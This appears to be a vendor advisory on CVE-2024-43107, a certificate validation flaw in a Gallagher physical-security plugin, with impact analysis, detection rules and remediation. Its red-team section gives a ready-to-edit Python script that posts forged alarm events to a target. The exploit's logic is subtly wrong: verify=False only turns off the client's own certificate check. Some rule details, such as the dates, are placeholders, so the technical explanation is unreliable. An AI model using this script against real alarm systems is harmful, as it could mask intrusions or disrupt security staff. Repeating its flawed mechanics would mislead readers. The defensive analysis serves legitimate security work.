CVE-2024-43107

Executive Summary

CVE-2024-43107 is a critical Improper Certificate Validation vulnerability (CWE-295) in the Gallagher Milestone Integration Plugin (MIP). This flaw allows an unauthenticated attacker to send arbitrary messages (e.g., alarm events) to the plugin without proper certificate verification. The vulnerability affects MIPS Plugin v4.0 prior to v4.0.32 and all versions of v3.0 and prior. The CVSS score is 7.2 (High), with a network attack vector and low complexity. No public exploit code or proof-of-concept is currently available, but the risk is significant due to the potential for unauthorized alarm injection and disruption of physical security systems.

Supply Chain & Package Security

This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It is a proprietary plugin for the Gallagher Command Centre physical security platform.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N
• Base Score: 7.2 (High)
• Attack Vector: Network (AV:N) – Exploitable remotely.
• Attack Complexity: Low (AC:L) – No special conditions required.
• Privileges Required: None (PR:N) – No authentication needed.
• User Interaction: None (UI:N) – No user action required.
• Scope: Unchanged (S:U) – Impact confined to the plugin.
• Confidentiality Impact: None (C:N) – No data disclosure.
• Integrity Impact: High (I:H) – Attacker can inject false alarm events.
• Availability Impact: None (A:N) – No denial of service.

Threat Level: High. The vulnerability allows unauthenticated remote attackers to inject false alarm events into the Gallagher Command Centre system, potentially causing false alarms, masking real security incidents, or disrupting operations.

Deep Dive & Mechanics

The Gallagher Milestone Integration Plugin (MIP) is designed to bridge Gallagher Command Centre with Milestone XProtect video management systems. It uses certificate-based authentication to ensure that only trusted sources can send alarm events.

The vulnerability lies in the certificate validation logic. The plugin fails to properly verify the certificate presented by the sender of alarm messages. This means an attacker can craft a malicious message with a self-signed or invalid certificate, and the plugin will accept it as legitimate.

Attack Flow:

1. Attacker identifies a network-accessible MIPS Plugin instance (typically on TCP port 443 or a custom port).
2. Attacker crafts a message mimicking a legitimate alarm event (e.g., door forced open, motion detected).
3. Attacker sends the message without a valid certificate or with a forged certificate.
4. The plugin processes the message and forwards it to the Command Centre, triggering a false alarm.

Impact:

• False Alarms: Security personnel may be overwhelmed with fake alerts.
• Masking Real Threats: An attacker could inject false alarms to distract from a real intrusion.
• Operational Disruption: Automated responses (e.g., lockdowns, camera recording) may be triggered unnecessarily.

Vulnerable vs. Patched Code

The exact code changes are not publicly available, but the fix involves implementing proper certificate validation.

Vulnerable Code (Conceptual):

# Vulnerable: Accepts any certificate
def validate_message(cert, message):
    # No validation performed
    return True

Patched Code (Conceptual):

# Patched: Validates certificate against trusted CA
def validate_message(cert, message):
    try:
        # Load trusted CA certificates
        trusted_cas = load_trusted_cas()
        # Verify certificate chain
        cert.verify(trusted_cas)
        # Check certificate is not expired
        if cert.is_expired():
            return False
        return True
    except CertificateError:
        return False

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

• Network access to the MIPS Plugin (default port 443 or custom).
• Python 3 with requests and ssl libraries.

Exploit Script (Conceptual):

import requests
import ssl

# Target MIPS Plugin endpoint
target_url = "https://target-ip:443/alarm"

# Craft a malicious alarm event (JSON format)
malicious_alarm = {
    "event_type": "door_forced",
    "timestamp": "2024-01-01T00:00:00Z",
    "source": "Front Door"
}

# Disable certificate verification (exploiting CVE-2024-43107)
requests.packages.urllib3.disable_warnings()
response = requests.post(target_url, json=malicious_alarm, verify=False)

if response.status_code == 200:
    print("[+] Alarm injected successfully")
else:
    print(f"[-] Failed: {response.status_code}")

Usage:

1. Replace target-ip with the IP of the vulnerable MIPS Plugin.
2. Run the script. The plugin will accept the alarm without valid certificate.

Blue Team (Defensive)

Detection Steps:

1. Monitor for connections to the MIPS Plugin from untrusted IPs.
2. Look for repeated alarm events with unusual patterns (e.g., same timestamp, same source).
3. Check logs for certificate validation failures (if logging is enabled).

Honeypot Setup:

• Deploy a decoy MIPS Plugin instance to capture attacker behavior.
• Log all incoming messages and certificate details.

Indicators of Compromise (IOCs)

• Network IOCs:

  • Connections to MIPS Plugin port (default 443) from external IPs.
  • Multiple alarm events with identical timestamps or source fields.
  • TLS connections with invalid or self-signed certificates.

• Log IOCs:

  • Log entries showing Certificate validation failed (if patched).
  • Log entries showing alarm events without corresponding video evidence.

• File IOCs:

  • Modified plugin configuration files (e.g., mips_config.xml).

Detection Engineering

YARA Rule

rule CVE_2024_43107_MIPS_Alarm_Injection {
    meta:
        description = "Detects malicious alarm injection attempts against Gallagher MIPS Plugin"
        author = "Valters IT"
        date = "2024-01-01"
        cve = "CVE-2024-43107"
    strings:
        $alarm_json = /{"event_type":\s*"[^"]+",\s*"timestamp":\s*"[^"]+",\s*"source":\s*"[^"]+"}/
        $cert_bypass = /verify=False|ssl._create_default_https_context/
    condition:
        $alarm_json or $cert_bypass
}

Sigma Rule

title: CVE-2024-43107 - Gallagher MIPS Plugin Unauthenticated Alarm Injection
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects network traffic attempting to exploit CVE-2024-43107 by sending unauthenticated alarm events to the Gallagher MIPS Plugin.
author: Valters IT
date: 2024-01-01
logsource:
    category: network
    product: suricata
detection:
    selection:
        dest_port: 443
        http.method: POST
        http.uri: /alarm
        http.content_type: application/json
    condition: selection
falsepositives:
    - Legitimate alarm events from trusted sources
level: high

Suricata Rule

alert tcp any any -> any 443 (msg:"CVE-2024-43107 - Gallagher MIPS Plugin Unauthenticated Alarm Injection"; flow:to_server; content:"POST"; http_method; content:"/alarm"; http_uri; content:"application/json"; http_content_type; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Upgrade: Update the MIPS Plugin to version 4.0.32 or later.
2. Network Segmentation: Restrict network access to the MIPS Plugin to trusted IPs only.
3. Firewall Rules: Block inbound connections to the MIPS Plugin port from untrusted networks.

Long-Term Measures:

1. Certificate Pinning: Implement certificate pinning in the plugin configuration.
2. Logging & Monitoring: Enable detailed logging for all incoming alarm events and certificate validation attempts.
3. Regular Audits: Conduct periodic security audits of the Gallagher Command Centre environment.

Workaround (if patching is not possible):

• Use a reverse proxy (e.g., Nginx) with strict TLS validation to front the MIPS Plugin.
• Implement network-level access control lists (ACLs) to allow only known IPs.

Valters IT
DevSecOps & Cyber Threat Intelligence